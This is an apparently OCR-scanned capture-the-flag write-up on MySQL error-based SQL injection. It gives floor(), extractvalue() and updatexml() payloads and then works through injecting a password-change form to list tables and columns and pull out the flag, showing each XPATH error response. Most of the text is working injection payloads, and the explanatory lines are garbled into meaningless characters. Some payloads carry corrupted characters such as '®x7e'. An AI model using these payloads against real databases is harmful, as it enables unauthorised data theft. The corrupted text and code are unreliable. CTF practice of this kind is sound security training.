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1. floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from informat
ion_schema.tables group by x)a);
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2. extractvalue()5 updatexml()
XHAEE AR B TR E AN S AR ERFxpathid X778, Tl aies.
playload:

select * from test where id=1 and (extractvalue(1,concat(®x7e, (select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e, (select user()),0x7e),1));
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oldpass: | |

newpass: | |

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "aaa"" and
pwd="'4124bc0a9335c27f086f24ba207a4912" at line 1
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update users set password='xxxx' where username="xxxx" and pwd="'XXxxxx"
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test"'updatexml(1,concat(0Ox7e,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#



oldpass: | |

newpass: | |

XPATH syntax error: 'article, flag,users’

E— Tflagk i34
a"||(updatexml(0x7e,concat(7,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema=“web_sqli”))),0x7e))#

oldpass: | |

newpass: | |

XPATH syntax error: 'flag’
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a"||(extractvalue(0x7e,concat(7,
(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag”))))#
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oldpass: | |

newpass: | |

XPATH syntax error: 'RCTF{Good job! But flag not here’
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a"||(extractvalue(0Ox7e,concat(7,(select(flag)from(web_sqli.flag)))))#

oldpass: | |

newpass: |

XPATH syntax error: 'name,pwd,email,real flag 1s_here’

X[E R EHIflag T IE
a"||(extractvalue(0x7e,concat(7,
(select(group_concat(column_name))from(information_schema.columns)where(table_name=‘users’))))#
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b"||(extractvalue(0x7e,concat(7,
(select(group_concat(real_flag_1s_here))from(web_sqli.users)where(real_flag_1s_here)regexp(f))))#

oldpass: | |

newpass: |

XPATH syntax error: 'flag{ba80e85a-e732-4276-97bb-a8f'
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b"||(extractvalue(0x7e,concat(7,
(select(group_concat(real_flag_1s_here))from(web_sqli.users)where(real_flag_1s_here)regexp('’f)))))#

oldpass: | |

newpass: | |

XPATH syntax error: '}d5503f17bf8a-bb79-6724-237e-a58’
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